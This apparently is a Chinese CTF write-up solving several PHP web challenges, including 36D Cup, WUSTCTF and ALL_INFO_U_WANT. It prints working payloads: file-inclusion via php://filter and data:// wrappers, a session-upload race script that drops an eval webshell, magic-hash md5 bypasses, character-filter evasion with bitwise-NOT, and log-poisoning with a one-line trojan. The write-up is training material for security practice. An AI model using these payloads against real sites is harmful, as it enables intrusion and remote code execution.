36D练手赛不知所措easy shell36D杯给你shellWUSTCTF朴实无华RevengeALL_INFO_U_WANT你取吧
36D练手赛
不知所措
$file 暗示参数为file 且url必须含有test
?file=php://filter/convert.base64-encode/resource=test/../index.
解码得到源代码
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
include ($file);
}else{
echo '$file must has test';
}
?>
payload
?file=data://text/plain,<?php system("cat /FFFFFFFL@GGGG");?>test
easy shell
查看源码发现 md5($secret.$name)===$pass
又发现cookie 有一个hash 想起可能对应md5
试着payload ?name=1&pass=1
hash变了 试着传让pass等于hash

原本不管pass等于啥都有页面,现在not found 有情况 试着抓包

文件包含 试着读 flflflflag.php index.php

flflflflag.php源码
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>yesec want Girl friend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
要getshell 考虑 session上传文件包含
import io
import requests
import threading
url = 'http://ad3bb57a-7310-4c15-b0be-205875f5a16d.challenge.ctf.show/flflflflag.php'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_content("shell.php","<?php eval(\$_POST[1]);?>");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
条件竞争在这不得行
36D杯
给你shell
弱比较,secret=flag的md5
$flag的md5和0xC0逐位相与的结果,其中结果为的为0-9,结果为a-f的为64

可知前3位为0-9,写脚本爆破
import requests
url = "http://601c79fe-f039-45ae-a1ff-150329bc0eba.challenge.ctf.show/?give_me_shell="
s = requests.session()
for i in range(10):
for j in range(10):
for k in range(10):
headers = {
'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'
}
res = s.get(url,headers = headers)
if "here is your" in res.text:
print(headers)
print(res.text)

得到 w3b5HeLLlll123.php,访问发现(访问要用原先的secret,不然会直接跳转)
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
又是一个代码审计 通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。空格也被过滤了 可以用取反(~)中间可以不用空格,分号被过滤,可以用 ?> 加上这个 最后一行代码可以不加分号
也就是 require~~/flag.txt 但是f也被过滤了 可以先取反一部分
最终payload
?code=]=1?><?=require~%D0%99%93%9E%98%D1%8B%87%8B?>
WUSTCTF朴实无华Revenge
level1:根据题目要求不是回文数字但是intval($num) = intval(strrev($num));
可以是 -0 .0等等
level2:md5是以0e开头的数字md5,且俩次md5之后还是以0e开头
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
i='0e'+str(i)
result=md5(md5(i))
if result[0:2]=='0e' and result[2:].isnumeric():
print(i)
level 3:
$get_flag 空格用%09(tab)绕过,关键字用\绕过
最终payload:
?num=.0&md5=0e1687027651&get_flag=ta\c%09/flag
ALL_INFO_U_WANT
index.php.bak 泄露

日志文件包含
写入一句话木马进去,直接写进去会编码,考虑到用burp User-Agent中注入,然后一句话连接
提示flag在 /etc中
可以用grep 命令

你取吧
解法1:没有限制我们用$和[]那么我们直接用数组下标取出黑名单的值即可。
比如$_[0]=a,最终我们可以构造出
$__='system';$___='ls';$__($___);
import requests
s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
words=input()
code=""
for i in words:
if i in s:
code+="$_["+str(s.index(i))+"]."
else:
code+="'"+i+"'"+"."
print(code)

payload: ?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1
本文介绍了多个关于Web安全的CTF挑战,包括文件包含漏洞利用、源码泄露、弱比较攻击、代码审计等,涉及PHP、HTTP请求、加密解密、日志文件包含等多个方面。通过实例解析了如何利用这些漏洞获取shell,挑战涉及的技巧包括正则表达式、编码绕过、函数利用等。

被折叠的 条评论
为什么被折叠?



